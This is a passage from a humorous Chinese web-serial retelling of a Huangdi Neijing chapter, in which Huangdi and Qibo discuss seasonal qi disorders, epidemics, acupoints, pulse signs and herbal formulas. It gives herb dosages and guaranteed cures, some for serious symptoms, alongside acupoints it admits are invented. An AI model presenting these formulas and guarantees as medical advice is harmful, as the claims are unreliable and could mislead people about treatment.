这时候，老百姓们可就遭殃了。首先，温疫这位不速之客就开始串门了，带着它的“小伙伴”——疵（就是小痘痘、皮疹之类的）和“大伙伴”——身体机能衰退（废），一起来捣乱。你说这日子还怎么过啊？ 更有趣的是，这风一吹，还吹出了“风生水起”的效果。不过，这可不是什么好事，因为老百姓们开始普遍感到肢节痛，就像是被人偷偷按了“酸痛按钮”。还有啊，头疼得跟戴了个紧箍咒似的，连思考问题都变得困难重重。伏热在体内捣乱，让人心烦意乱，就像心里藏了个小火山，随时都要爆发。喉咙干得像沙漠，不停地想喝水，仿佛整个身体都在喊：“渴！渴！渴！” 好了，说了这么多，咱们来点儿实际的。看看如果放在现代，这些“天气异常”和身体不适，咱们能怎么应对。 首先，说到穴位，咱们可以假设有个“退风穴”，位于肩膀和脖子交界处，每天按一按，就像是给大风按了个“暂停键”。再来个“润燥穴”，在肚脐周围，揉揉它，就像给身体加了点“保湿精华”，让湿气乖乖听话，化为细雨滋润万物。当然了，这些都是虚构的，但实际操作中，我们可以通过按摩风池、合谷等穴位来缓解头痛、肢节疼痛。 接下来，咱们聊聊方剂。咱们根据他的描述，开了一个“清风润燥汤”。这个汤里得有点“清风草”（比如薄荷，象征清风），再来点“润燥果”（比如梨，润肺生津），加点“静心花”（比如莲子心，清心火），最后撒上一把“解渴沙”（比如葛根，生津止渴）。换算成现代计量单位，大概就是薄荷10克、梨干20克、莲子心5克、葛根15克，加水煮开后小火炖20分钟，一碗下肚，保证你从头到脚都舒畅！ 至于脉象嘛，岐伯那会儿肯定是靠手感来判断的。咱们现代人可以用个比喻来理解：如果你的脉象像是狂风暴雨中的小船，摇摇晃晃，那可能就是“风邪”太盛；如果脉象又沉又涩，像是被沙子堵住的管道，那可能是湿气太重。不过，真正的中医诊断可复杂多了，得靠专业的医生来“把脉”。 黄帝眉头紧锁地问岐伯：“岐伯啊，你说这少阴要是赖着不走，不肯换季，咱们的世界会变成啥样呢？”岐伯一听，嘿，这问题有意思，于是他慢悠悠地开了腔，讲起了那段让人捧腹又涨知识的“不走寻常路”养生故事。 岐伯清了清嗓子，说道：“要是少阴这家伙（咱们就当他是个调皮捣蛋的节气小精灵吧）死活不退位，硬要在春冬季节里搞点‘温’的小动作，嘿，你猜怎么着？冬眠的虫子们可就坐不住了，一个个提前从被窝里爬起来，伸着懒腰说：‘哎呀，春天好像来得早了点儿！’连那些树木花草也跟着起哄，争先恐后地冒出新芽，仿佛在说：‘冬天？不存在的！’” 黄帝一听，乐了：“这画面，想想就逗！那老百姓呢？他们会不会也跟着乱套了？” 岐伯点头笑道：“那是自然。少阴不退位，老百姓就容易得些‘奇奇怪怪’的病。比如说，心里头像是被火烧似的，热得慌，咱们就叫它‘膈热’；喉咙干得能冒烟，喝水都不解渴，这就是‘咽干’；还有啊，说不定哪天一激动，鼻血就‘嗖’地一下喷出来，那叫‘血溢’；更别提那些容易受到惊吓的小伙伴了，走在街上都能被自己的影子吓到，简直是‘惊骇’嘛！ 还有啊，小便变得跟红茶似的，又红又涩，咱们文雅点，叫它‘小便赤涩’；皮肤上呢，可能会长出红红的小包包，像是被谁偷偷亲了一口，留下的‘爱的痕迹’，医学上叫‘丹瘤疹’；更严重的，还可能长疮流脓，那叫一个‘疮疡’，简直就是身体的‘小火山爆发’啊！而且啊，这些毒素还不肯走，留在身体里捣乱，咱们就叫它‘留毒’。” 黄帝听完，笑得前仰后合：“岐伯兄，你这描述，简直是给古代医学赋予了现代幽默感啊！那有没有什么办法可以对付这些‘调皮捣蛋’的病症呢？” 岐伯神秘一笑，说：“当然有啦！不过咱们得先来个‘以毒攻毒’的食疗方。想象一下，咱们用清热解毒的草药，比如金银花（50克）、连翘（30克）、蒲公英（60克），还有淡竹叶（20克），这些可都是自然界的‘灭火器’，把它们放在一起煮成汤，喝下去，保管那些‘小火苗’都被浇灭！” 黄帝眼睛一亮：“这方子听起来就霸气！那脉象上会有什么变化呢？咱们能不能通过摸脉，提前发现少阴不退位的迹象？” 岐伯摸了摸下巴，故作深沉地说：“当然可以啦！如果少阴不退位，脉象上就会表现出一种‘不安分’的感觉，就像是你在摸一只刚睡醒还迷迷糊糊的小猫，时而跳得快，时而跳得慢，还不时来个‘惊喜’的小颤动，咱们中医管这叫‘数而促，时有躁动’。不过呢，别担心，只要你学会了这门‘摸猫大法’，就能提前预知身体的‘小情绪’，防患于未然啦！” 岐伯悠悠地说：“哎，你们知道吗？要是那个叫做‘太阴’的家伙不退位，咱们这日子可就不好过了。” 咱们先解释一下，“太阴”啊，在中医里可不是什么神秘的外星人，它其实指的就是自然界的某种气候状态，或者说是天地间的一种能量场。想象一下，如果“太阴”这家伙赖着不走，那可就热闹了，天气会变得乱七八糟，一会儿冷得跟冰窟窿似的，一会儿又热得跟蒸笼一样。这不，岐伯就说：“太阴不退位，寒暑就不按套路出牌了，整天雾蒙蒙的，跟个大雾霾天似的，湿气还特别重，久久不散。” 这时候，老百姓可就遭殃了。岐伯继续爆料：“你们看啊，这湿气一重，人们就开始四肢无力，软绵绵的，像是被抽干了电池的手机，连吃饭都没胃口了。吃下去的东西，不是拉出来就是堵住，拉肚子、尿频、尿急、尿痛这些问题全找上门来了。更惨的是，有的人脚脖子冷得跟冰棍似的，还可能出现‘阴痿’——哎呀，这个嘛，就是男性朋友们的小弟弟不太听话了，要么是软绵绵的，要么是堵得慌，总之就是不舒服。还有啊，有的人小便不畅，或者干脆就尿失禁了，这日子可咋过嘛！” 岐伯既然说了这些问题，那他肯定也有解决办法。 **秘籍一：祛湿大法** 首先，对付湿气，咱们得来个“祛湿大法”。这可不是什么魔法哦，而是实实在在的养生方法。比如说，你可以多吃点薏米、红豆这些利湿的食物，就像是给身体安装了一个“除湿机”。当然啦，别忘了多喝水，促进新陈代谢，把湿气排出去。不过啊，喝水也得有讲究，别一口气喝个饱，得慢慢喝，像品茶一样，这样才能真正吸收进去。 **秘籍二：泡脚大法** 再说说脚脖子冷这个问题。咱们中国有句老话：“寒从脚下起。”所以啊，泡脚就成了解决这个问题的关键。你可以在水里加点艾叶、生姜这些温性的东西，就像是给脚丫子来了个“温泉spA”。泡的时候，记得水温别太高，免得把自己烫成“红烧猪蹄”。泡完之后，再按摩按摩脚底，那叫一个舒服啊！ **秘籍三：补肾秘籍** 至于那个“阴痿”嘛，咱们得来个“补肾秘籍”。这可不是吃什么大力丸哦，而是要通过食疗和锻炼来增强体质。比如说，你可以多吃点黑豆、黑芝麻这些黑色的食物，中医说“黑色入肾”，吃了能补肾气。还有啊，别忘了锻炼身体，尤其是腰部和腿部的肌肉，这样才能让肾气更充足。 **秘籍四：调节心情** 最后啊，别忘了调节心情。岐伯说了，心情好了，身体自然就好。所以啊，遇到烦心事的时候，咱们得学会“笑对人生”。你可以听听音乐、看看喜剧电影、跟朋友们聊聊天，把心里的烦恼都倒出来。这样一来啊，不仅身体轻松了，心情也跟着愉悦起来了。 岐伯又说道：首先，咱们得明白，“少阳”在中医里可是个重要角色，它就像是身体里的小太阳，温暖而充满活力，主要负责咱们肝胆的疏泄功能。但要是这个小太阳“不退位”，也就是不按规矩来，该休息的时候不休息，那可就热闹了！ 想象一下，春天本是万物复苏的季节，万物应该按部就班地发芽、开花，结果。可少阳这家伙要是不退位，春天一来，它非但不收敛自己的热情，反而火上浇油，于是——“热生于春”，本该温柔的春风变得热辣辣的，连带着“暑乃后化”，夏天的高温也提前来凑热闹，好像夏天说：“嘿，春天老兄，你今年轮休吧，我这热浪可是等不及了！” 更神奇的是，“冬温不冻，流水不冰”。冬天本该是个银装素裹、冰封万里的季节，结果呢，因为少阳这家伙捣乱，冬天竟然温暖如春，河水都不结冰了，小鱼小虾们估计都在河里乐开了花，心想：“这冬天，过得比夏天还滋润呢！”连那些冬眠的虫子们都忍不住探出头来，心想：“哎呀，这是哪门子的春天啊？我是不是睡过头了？” 这时候，咱们的老百姓可就遭殃了。为啥呢？因为少阳这家伙一胡闹，人体的气机也跟着乱套了。于是，“民病少气”，大家伙儿都觉得气短，走两步就喘；“寒热更作”，一会儿冷得直哆嗦，一会儿又热得想脱衣服，跟玩儿变脸似的；“便血”，这可就严重了，说明身体内部的火热已经伤到了血脉；“上热”，脸上长痘痘、口腔溃疡那是家常便饭；“小腹坚满”，肚子胀得跟个小皮球似的，吃啥都难受；“小便赤沃”，尿液红得像红酒，还尿频尿急，你说这得有多难受！ 本小章还未完，请点击下一页继续阅读后面精彩内容！ 再严重点，“甚则血溢”，那可就是大出血了，想象一下，鼻子突然像开了闸的水龙头，或者是咳血、吐血，那场面，啧啧，想想都吓人！ 不过，别担心，咱们老祖宗可是有办法的。首先，咱们得给身体降降温，对吧？那就得找“大椎穴”和“曲池穴”这两位“灭火器”了。大椎穴位于脖子后面，第七颈椎棘突下，那可是阳气汇聚之地，按揉或者拔罐，能有效清热泻火；曲池穴在胳膊肘横纹外侧端，屈肘时，肘横纹头与肱骨外上髁连线的中点，按揉这里，就像给身体打开了一个散热口，热气嗖嗖往外冒！ 至于方剂嘛，有一个“清热凉血汤”。这个汤啊，得用上黄连10克（黄连可是清热燥湿的高手）、黄芩15克（黄芩清热泻火，还能燥湿解毒）、生地20克（生地凉血滋阴，就像是给身体喝了一罐冰镇的王老吉）、丹皮12克（丹皮清热凉血，还能活血化瘀，防止血热妄行）、赤芍12克（赤芍也是凉血活血的好帮手）。把这些药材放在一起煮，煮成一大锅“清热凉血特饮”，喝下去，保管你身体里的那股子“少阳之火”给灭得干干净净！ 至于脉象嘛，如果这时候你去看医生，医生一摸你的脉，可能会说：“哎呀，你这脉啊，洪大而数，就像是夏天里狂奔的野马，一刻也不停歇！”洪大，就是说脉搏跳动得有力，像是波涛汹涌的大海；数，就是说脉搏跳得快，一分钟能跳个八九十下，甚至上百下。这时候，医生心里就明白了，你这是典型的“少阳不退位”导致的热证啊！ 本病论篇第七十三（八） 岐伯悠悠地说：“要是那个阳明经啊，它不肯乖乖退位，非得赖在岗位上，那可就热闹了！春天本该春暖花开，万物复苏，结果却变成了清冷萧瑟，草木们都懒洋洋的，迟迟不肯换上绿衣裳，仿佛在说：‘嘿，冬天还没过完呢，急啥？’而天气呢，也是一会儿冷一会儿热，跟小孩子变脸似的，让人摸不着头脑。” 这时候，咱们的老百姓可就遭殃了。你想啊，阳明经这一捣乱，人体内的阳气和阴气就不平衡了，就像是吃火锅的时候，辣椒放多了，清汤就少了，那滋味，啧啧，可不好受！ 首先，你会发现自己动不动就想吐，就像是吃了什么不对付的东西，胃里翻江倒海的。然后呢，拉肚子也是说来就来，毫无征兆，就像是肚子里装了个水龙头，开关失灵了，“哗啦”一下，哎，那叫一个酸爽！更绝的是，吃点东西吧，还咽不下去，感觉食道就像是被什么东西堵住了，喝水都得小心翼翼，生怕一不小心就噎着了。 大便干燥这个问题，咱们就别提了，简直是“便秘界的战斗机”，蹲到腿软，结果就挤出那么一点点，还得靠意念才能勉强完成“任务”。四肢呢，也变得软绵绵的，像是被谁抽走了力气，走路都像是在飘，风一吹，哎呀，差点就能飞起来了！ 眼睛也开始闹别扭，动不动就“闭目养神”，其实呢，是眼皮子沉得跟铅块似的，睁都睁不开。还有那手抖脚抖的毛病，就像是得了“帕金森综合症”，拿起杯子喝水都能溅一身。最搞笑的是，还会觉得天旋地转，头晕目眩，好像整个世界都在围着你转圈圈，一不小心就能撞墙上去！ 好了，说了这么多，咱们来点实际的。岐伯提到的这些症状，其实都指向了身体的一些失衡状态。如果放在现代，咱们可能会通过调整饮食、作息，甚至是一些中医的理疗方法来缓解。 比如说，按摩穴位吧，咱们可以找找“足三里”和“内庭穴”。足三里啊，那可是个“万能穴”，在小腿外侧，膝盖下面三寸的地方（记得哦，这里的“寸”是按自己的手指宽度来算的，不是市面上的尺子）。每天按一按，就像是给身体的小宇宙加油，能促进消化，增强体质。内庭穴呢，在脚上第二和第三脚趾之间的缝隙里，按摩它可以清胃火，对于缓解呕吐、拉肚子可是有一手的！ 至于方剂嘛，如果岐伯在现代，他会开一副“清胃散”给你。这方子啊，简单又实用，主要成分有黄连、升麻、当归、生地、牡丹皮。黄连清热燥湿，升麻升阳散火，当归和生地补血养阴，牡丹皮凉血活血。把这些药材按照一定比例（比如说黄连6克，升麻9克，当归6克，生地9克，牡丹皮9克，当然，具体剂量还得看个人情况），用水煎服，就像是给身体熬了一锅“清凉汤”，喝下去，保证你整个人都清爽起来！ 再来说说脉象吧，这可是中医的独门绝技！如果阳明经不退位，脉象可能会显得洪大有力，就像是夏天的热浪，一波接一波，冲击着你的指尖。这时候，有经验的老中医就会眉头一皱，心里默念：“嗯，这家伙，阳明火旺啊！”然后，他就会根据脉象的细微变化，调整治疗方案，就像是调配一个复杂的烤肉方子，既要保证味道好，又不能烤焦了！ 黄帝问岐伯：“老兄啊，你说这太阳要是赖着不走，会发生啥事儿呢？”岐伯捋了捋长胡子，慢悠悠地说：“太阳要是赖在岗位上不肯交班，那可就热闹了，春天会像冬天一样冷，夏天还会时不时来场冰雹雨，天空整天阴沉沉的，跟个忧郁的少年似的。到了二之气（就是春季的后半段），这寒气还是赖着不走，人们可就要遭殃喽！” 黄帝一听，瞪大了眼睛：“这么严重？那老百姓会咋样？”岐伯叹了口气，开始细数起来：“他们会得各种奇怪的病，比如痹症，就是关节僵硬得像冻豆腐；还有厥症，就是手脚突然冰凉，跟摸了冰块似的。更惨的是，有的人还会得阴痿，就是男性朋友的小兄弟不太给力了；还有的人会尿失禁，腰膝酸软，走起路来像踩了棉花。哦对了，还有一种叫温疠的病，这家伙喜欢迟到，等到大家都放松警惕了，它才慢悠悠地来凑热闹。” 咱们先聊聊这“痹厥”和“阴痿”吧。痹厥呢，就像是身体里的关节被施了魔法，动弹不得，你得想象一下，早上起床，本想伸个懒腰，结果胳膊腿儿跟被冻住了一样，那个酸爽！至于阴痿，嗯，这个嘛，咱们就含蓄点说，就是男性朋友们在某些时候，可能感觉自己像是被冬天的寒风侵袭了，完全不在状态。 说到治疗，岐伯那个时代虽然没有现代医学这么发达，但他们也有一套独特的疗法。比如，对于痹厥，岐伯可能会推荐艾灸。想象一下，在身体的“阳陵泉”（现代穴位名，位于小腿外侧，腓骨小头前下方凹陷处）和“足三里”（在小腿外侧，犊鼻下3寸，犊鼻与解溪连线上）这两个穴位上点燃艾条，那温暖的感觉就像是在冬日里喝了一杯热腾腾的姜茶，瞬间让僵硬的关节暖和起来，恢复了活力。 至于阴痿嘛，岐伯会建议服用一些温补肾阳的中药方剂，比如“五子衍宗丸”。这个方子虽然听起来简单，但威力可不小，它包含了枸杞子、菟丝子、覆盆子、五味子、车前子五味药。换算成现代剂量，大约是枸杞子240克、菟丝子240克、覆盆子120克、五味子60克、车前子60克。这是一大盆的量，还要炼蜜成小丸子。这五味药就像是五位英勇的骑士，一起守护着身体的“城堡”，让男性朋友们重新找回自信。 接下来，咱们聊聊脉象。在古代，医生看病可是要“望闻问切”的，这“切”就是指摸脉。岐伯说，如果太阳不退位，人们的脉象可能会变得沉迟而无力，就像是冬天的河水，缓慢而又冰冷。这时候，你要是去找个老中医把脉，他可能会眉头紧锁，然后告诉你：“小伙子/小姑娘，你这脉象啊，就像是深夜里走在无人的小巷，冷清得很呐！” 不过，岐伯可不会只停留在诊断上，他还会给出解决方案。比如，他会建议人们多吃温热的食物，比如羊肉、生姜、大枣这些，就像是给身体穿上了一层厚厚的棉袄，抵御外界的寒气。同时，还要加强锻炼，多晒晒太阳，让身体的阳气像春天的花朵一样绽放。 黄帝闲来无事，就对身边的岐伯说：“岐伯啊，你看这天时早晚，我通过观察星辰运转、四季更替，已经能摸个大概了。但说到这地上的事儿，比如土地公公怎么安排他的‘小跟班’（也就是地气、地数啥的），我就有点懵了。你给我讲讲这地数的事儿呗，让我这脑袋瓜子也开开窍？” 岐伯一听，心里暗笑：“这黄帝啊，虽然天上地下的事儿都知道个七七八八，但一到这地上的细节，还是得靠我这把老骨头来揭秘。”于是，岐伯清了清嗓子，开始了他的地数讲解。 “黄帝啊，要说这地数，咱们得先明白几个概念。地下的‘迁正’啊，就像是咱们村里的村长换届，新的村长（地气）上任，得有个交接仪式，得按规矩来。这‘升天’呢，就像是村长升官了，去城里当大官了，那村里的事儿就得有人接着管。至于‘退位不前’，那就是说，有时候这村长啊，可能因为某些原因（比如舍不得乡亲们，或者新官上任三把火太猛，他不敢轻易交权），就迟迟不肯退位，搞得村里有点乱套。” 黄帝一听，眼睛一亮：“哟呵，这地数还挺有意思，继续继续！” 岐伯接着说：“这地上的产化，万物失时之化，就跟咱们人体的穴位一样，每个穴位都有它的‘任期’，该发挥作用的时候就得发挥作用，不然就会出问题。比如说，咱们有个穴位叫‘足三里’，这可是个大穴，相当于村里的‘大管家’，负责调理脾胃、增强免疫力。但要是这个穴位‘退位不前’，比如因为长期饮食不规律、熬夜啥的，就会导致脾胃不和，免疫力下降，人就容易生病。” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻打得真好，我这下算是明白了！那要是穴位‘升天’了呢？是不是就意味着这穴位太厉害了，得升个级，去管更大的事儿了？” 岐伯也笑了：“黄帝啊，你这想象力可真够丰富的。不过呢，穴位没有‘升天’这一说，但咱们可以通过按摩、针灸等方法，让它更好地发挥作用，这就像是给穴位‘加油打气’，让它更有活力。” 黄帝点了点头：“嗯，有理有理！那要是穴位‘迁正’了呢？是不是就像新官上任，得有个适应期？” 岐伯答道：“正是如此。比如说，当一个人从亚健康状态恢复到健康状态时，他的身体就会经历一系列的调整，就像是穴位在‘迁正’，重新找到它的位置，发挥它应有的作用。” 说到这里，岐伯突然话锋一转：“黄帝啊，说到这穴位啊，我还得给你推荐一个‘秘方’，保证让你精神焕发，身体倍儿棒！” 黄帝一听，来了精神：“哦？什么秘方？快说来听听！” 岐伯神秘一笑：“这秘方啊，就是每天早晚按摩‘涌泉穴’和‘太冲穴’各100下。涌泉穴呢，就像是身体的‘泉眼’，能激发肾气，让人精力充沛；太冲穴呢，则是肝经的‘出气筒’，能疏肝解郁，让人心情舒畅。这两个穴位配合起来，就像是给身体做了一个全面的‘spA’，你说能不精神焕发吗？” 黄帝闲来无事，就对着岐伯说：“嘿，岐伯啊，我听说这天地之间有个二甲子的说法，就是十个天干配上十二个地支，它们像经纬线一样交织在天地间，掌控着万物的生长规律。但要是这些天干地支玩起了‘你追我赶’的游戏，没站好自己的岗位，那可就乱套了，对吧？这事儿，你能不能给我说道说道？” 岐伯一听，眼睛一亮，笑道：“哎呀，陛下您这问题问得真有水平！这所谓的‘迭位’，就好比咱们朝廷里的大臣，虽然都是好手，但要是没站在自己该站的位置上，那朝政不乱才怪呢！在自然界也一样，就算年份对了，但如果掌管季节的神仙们没按时到岗，四季就会变得混乱不堪，这样一来，大疫可就跟着来了。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 黄帝一听，眉头紧锁：“这么说来，这天地间的‘考勤制度’还挺重要的嘛！那要是真乱了套，咱们这些凡人可咋整？” 岐伯捋了捋胡子，故作神秘地说：“陛下莫急，这事儿啊，咱们得从长计议。不过话说回来，要是真遇到这种情况，咱们人体里也有一套自我修复系统，就像是身体里的‘穴位小分队’，它们虽然平时不起眼，但关键时刻能派上大用场！” 黄帝一听来了兴趣：“哦？穴位小分队？快说说，它们都是谁？” 岐伯清了清嗓子，开始了他那“穴位版”的《西游记》：“首先得说说咱们的‘太冲穴’，这可是肝经上的大将军，专门负责调节情绪，防止因为季节错乱导致的肝气郁结，心情烦躁。它就藏在咱们脚背的大拇趾和第二趾之间，你按一按，保证你心情舒畅，比吃逍遥丸还管用！” 黄帝一听，忍不住低头找了找：“嘿，还真有！那接下来呢？” 岐伯接着说：“再来说说‘合谷穴’，这可是大肠经上的明星，能清热解表，要是季节错乱导致身体发热、喉咙痛，按一按它，就像吃了一颗退烧药，立马舒服多了。它就在咱们手背，第一、二掌骨之间，那个凸起的肌肉上，一找就准！” 黄帝笑得合不拢嘴：“哈哈，这穴位小分队还挺厉害嘛！那要是真遇到大疫，咱们光靠按穴位就行了吗？” 岐伯摇了摇头：“当然不是，还得配合点‘方剂大军’才行。比如说，要是季节错乱导致身体湿气重，咱们可以来个‘薏米红豆汤’，就是薏米30克，红豆30克，加水煮烂，每天吃一碗，保证你湿气去无踪，身体轻松如燕！” 黄帝一听，眼睛一亮：“这方子听起来就不错，简单又实用！那要是遇到更严重的呢？” 岐伯微微一笑：“那就得用上咱们的‘经典名方’——银翘散了。这方子啊，就像是身体里的‘清洁队’，专门清理那些因为季节错乱而趁机作乱的病毒细菌。银花9克，连翘9克，桔梗6克，薄荷6克（后下），竹叶4克，生甘草5克，荆芥穗5克，淡豆豉5克，芦根9克，水煎服，一日一剂，分两次服用，保证你药到病除，精神焕发！” 黄帝听得津津有味，忍不住插话：“老岐啊，你这方剂大军真是厉害，不过话说回来，咱们怎么知道身体什么时候出问题了呢？” 岐伯神秘一笑：“这啊，就得靠咱们的‘脉象侦探’了。比如说，要是季节错乱导致心火旺盛，脉象就会变得洪大有力，就像是夏天里的大太阳，热得你直跳脚。这时候，你就得赶紧灭火，吃点清心火的食物，或者按摩一下‘内关穴’，那可是心脏的守护神！” 本病论篇第七十三（九） 岐伯悠悠说道：“哎，你们知道吗？那个癸亥年啊，天上的‘时间余额’还没用完呢，就算新年已经悄悄换上了甲子的新装，但天上那位叫厥阴的大佬还是赖着不走，继续掌管着天空。而地上呢，早就换班了，阳明小弟接了班，成了在泉之主。去年呢，少阳那家伙还想插一脚，跑到右边凑热闹，结果呢，厥阴和阳明这两个大佬因为地盘问题，直接‘不和’了，场面一度十分尴尬。” “更逗的是，癸己这两哥们儿一碰面，哎呀，土运直接爆棚，说是太过头了，其实呢，它是虚张声势，被木给欺负了，你说逗不逗？这哪是土运太过啊，简直就是‘纸老虎’嘛！你们可能要问了，那为啥还说土运太过呢？来来来，听我细细道来。想象一下，那黄钟大吕的音乐，本该雄壮如土，结果却像是被堵住了鼻子（太窒），喘不过气来。木一看，机会来了，直接上去就是一顿‘家暴’，把土打得那叫一个惨。然后呢，金看不下去了，说：‘哼，欺负人是不对的！’于是金出来主持公道，把木给收拾了一顿。结果呢，少阴大佬一看，哎呀，这热闹不能少了我啊，也赶紧来凑热闹。这一来二去的，木呢，就像是被点了一把火，烧得旺旺的，而金呢，反击的力度嘛，就有点小打小闹了。” “然后呢，最神奇的事情发生了！甲己这两个家伙，说好的互相守护呢？结果直接‘失联’了！这下可好，三年后，大地之上，一场由土引发的‘疫情派对’就这么轰轰烈烈地开场了。这场派对嘛，来得早一点呢，是丙寅年，来得晚一点呢，就是丁卯年。这土疫一来，哎呀，那场面，真是‘大小善恶’，啥情况都有，看得人眼花缭乱。” “要想知道这场‘土疫派对’到底有多热闹，得看看天地之间的那些小秘密，尤其是那个太一（可以理解为宇宙间的能量主宰），它可是这场派对的幕后导演呢！不过呢，咱们今天不细究这些高深的学问，咱们就聊聊怎么在日常生活中，用轻松幽默的方式，理解并预防这些‘古代天书’里的奥秘。” “比如说，虽然咱们没法直接跟厥阴、阳明这些大佬对话，但咱们可以学学古人的智慧，注重养生啊！比如说，多吃点儿土里长的东西，像山药、土豆啥的，补充点‘土气’，增强自己的抵抗力。当然了，也别忘了多喝水，毕竟水是生命之源，能调和体内的各种‘矛盾’嘛！” 还可以试着自己搭配一些简单的养生茶饮。比如说，用黄芪、枸杞、红枣这几种常见的食材，泡一杯‘土气满满’的养生茶，既补气又养血，还能提高免疫力，远离那些‘土疫派对’的邀请呢！” 岐伯清了清嗓子，又说道：“咱们拿甲子年来举个例子。你想啊，甲呢，就像是班上的班长，子呢，就像是班长的小跟班，他俩一合计，本该手拉手去管理班级（治天）的，结果，哎，出岔子了！ 这时候呢，有个叫己卯的同学，他本该转学（迁正）到新学校去的，却愣是在原学校没走，赖着不走。另一边，还有个戊寅同学，他是班上的体育委员（少阳），负责带大家做早操的，可他呢，也不肯交权，硬是要多当一天体育委员。这下可好，甲班长和己卯同学之间，那默契（合德）没对上，就像是吃火锅忘了点鸳鸯锅，一边辣得要命，一边淡出个鸟来。 咱们知道，土运嘛，就像是班级里的学习风气，本来应该是平衡发展的（不过太过），结果呢，戊寅同学这个体育委员（少阳）不退位，导致风气乱了套。木属性的同学一看，机会来了，就像是蔫了的萝卜突然遇到了水，噌噌噌往上长，把土运给压制住了。这就像是班里平时默默无闻的小透明，突然考试成绩超了学霸，成了黑马！ 然后呢，金属性的同学也不甘示弱，他们就像是班级里的纪律委员，一看木属性的同学这么嚣张，立马站出来维持正义，把木属性的同学给‘镇压’了。这反转，简直比电影还精彩！所以啊，这就叫‘反邪化’，意思是，原本不应该发生的事情，偏偏就这么发生了，你说逗不逗？ 咱们再来说说这阴阳天地的事儿。想象一下，天地就像是一对爱吵架的夫妻，有时候风和日丽，有时候雷电交加，这大小善恶，全看他们的心情。咱们人呢，就像是夹在中间的小猫咪，得学会察言观色，顺应自然。这就像是班级里的规矩，有时候宽松点，有时候严格点，但无论如何，都得遵守，不然就得被老师请去喝茶啦！ 岐伯接着说：“所以啊，这天地间的规律，就像是咱们生活中的法则，不管你是学霸还是学渣，都得按规矩来。你要是违反了，嘿嘿，可别怪我没提醒你， 那可是要付出代价的哦！” 岐伯喝了口茶，接着说：“假如啊，有那么一年，是丙寅年，阳气旺盛得过头了，就像是个打了鸡血的小伙子，浑身是劲，不知道累。但呢，前一年乙丑年，那天上的能量啊，还剩下一大堆没用完，就像你过年买的零食，到了第二年还没吃完。所以，虽然时间走到了丙寅年，但天上的主宰还是太阴，就是那个温柔又有点啰嗦的月亮女神。” “这时候，地上的老大已经换人了，厥阴风木成了地界的老大，掌管一切。你想啊，去年太阳老大还在右边帮忙呢，现在突然换成了太阴和厥阴这对‘阴阳怪气’的组合，地上能不乱套吗？这就好比家里突然换了个严厉的爸爸和啰嗦的妈妈，孩子能不懵吗？” “再来说说这水运吧，乙辛相会，本该是水运旺盛的时候，结果水运却虚弱得像个病猫，还被土给欺负了。这就像是你去参加运动会，本想大展身手，结果却被旁边的小朋友不小心撞倒了，只能坐在地上哭鼻子。” “所以啊，这丙寅年，其实并没有大家想象的那么‘火爆’，反而有点‘水土不服’。太簇这个音律对应的管子吹起来，太羽的音阶却跟不上，就像是你唱歌跑调了，完全不在一个频道上。土一多，雨就多了，水再一泛滥，风也跟着起哄。这简直就是一场自然界的‘混乱大派对’！” “更绝的是，这丙辛两兄弟，本该好好配合，结果却闹别扭了，没守住自己的岗位。结果呢？三年后，一场水疫就悄然而至，就像是你三年前种下的种子，三年后突然长成了个怪物！这疫情啊，要么早点来，戊辰年就给你颜色瞧瞧；要么晚点来，己巳年才慢悠悠地登场。来得猛，就像是你突然被泼了一盆冷水；来得慢，就像是你慢慢被温水煮青蛙，不知不觉就中招了。” “说到这疫情的严重程度啊，那得看天地之间的能量怎么斗法了。这就好比是太一这个大佬在天上巡游，走到哪里，哪里就风起云涌。疫情的大小、好坏，全看他老人家心情怎么样。” 听到这里，你是不是已经笑得前仰后合了？但别急，岐伯的话还没说完呢！ “咱们再来聊聊怎么预测这疫情吧！首先啊，你得会看天文，知道天上的星星是怎么排列的，就像是玩‘连连看’，连对了就能知道未来的天气怎么样。然后呢，你还得会看地理，知道哪个地方容易积水，哪个地方容易干旱，就像是玩‘我的世界’，建个模型就能模拟出来。” 岐伯接着说道：“哎，你们知道不，那年啊，是丙寅年，就是那个火老虎遇上木老虎的年份，按说呢，丙火到了寅木这儿，俩人就该手拉手，一块儿上台唱大戏，管理天下气候了。这就好比是咱们公司的新任ceo和cfo，本该是黄金搭档，携手共创辉煌。 结果呢？嘿，出岔子了！本该退场的辛巳，那个金蛇，它愣是没挪窝，还在那儿占着c位不肯走。而庚辰呢，那个太阳神一样的存在，本该交班的，却也迟迟不肯退场。这俩货就像是开年会时赖在舞台上不走的前任领导，搞得新领导丙寅上不来台，场面一度十分尴尬。 岐伯这时候就说了：‘你们瞧瞧，这就是丙辛不合德啊！就像是你约了个妹子看电影，结果她带了前男友一起来，你说这电影还怎么看？’所以啊，这水运就有点儿小虚，虽然也勉强赢了那么一丢丢，但就像是足球队里那个替补门将，好不容易上场，结果就踢了个乌龙球，还差点儿被自家球迷骂哭。 然后呢，这事儿还没完，过了三年，嘿，麻烦大了！整个天下就像是被下了诅咒一样，开始流行一种叫‘水疠’的病。这病啊，症状就跟水灾过后的瘟疫似的，人们一个个跟水鬼附身了一样，面色苍白，咳嗽连连，全身无力，看得人心里直发毛。 治疗这水疠啊，岐伯会推荐一些利湿解毒、温阳散寒的方子。咱们就来个现代版的‘祛湿防疫汤’吧，听着就高端大气上档次，对吧？ 材料嘛，得有点茯苓（15克），就像给身体里的湿气找个排水口；白术（10克），帮咱们健脾益气，毕竟脾是运化水湿的；再加上点桂枝（5克），温暖一下咱们的小身板，驱走寒气；还有甘草（5克），调和一下药性，就像是给整个方子加个温柔的抱抱。 做法简单，把这些药材放锅里，加水没过药材，大火烧开转小火慢慢炖个半小时，滤掉药渣，一碗热腾腾的‘祛湿防疫汤’就出炉了。喝下去，保证你从头到脚都暖洋洋的，连心情都会跟着好起来！ 至于脉象嘛，岐伯可是说了，这水疠的脉象就像是冬天 里的冰棍，又细又沉，摸起来冷冰冰的，就像是摸到了一条冬眠的蛇，半天不动弹。咱们得仔细感受，就像是在玩‘你画我猜’，只不过这次猜的是身体的秘密。 岐伯遥望着天边，说道：有个叫庚辰的阳年，它要是太嚣张了，比如说吧，就像上一年的己卯年，天气能量（咱们就叫它“天数”）还剩下一大堆没用完，结果呢，就算庚辰年来了，本该它当家的阳明燥金之气（想象一下，那就是天空中的一股干燥又清新的力量），还是赖着不走，继续掌管着天空。这就好比你的闹钟响了，但你赖床不起，硬是要再享受几分钟温暖的被窝一样。 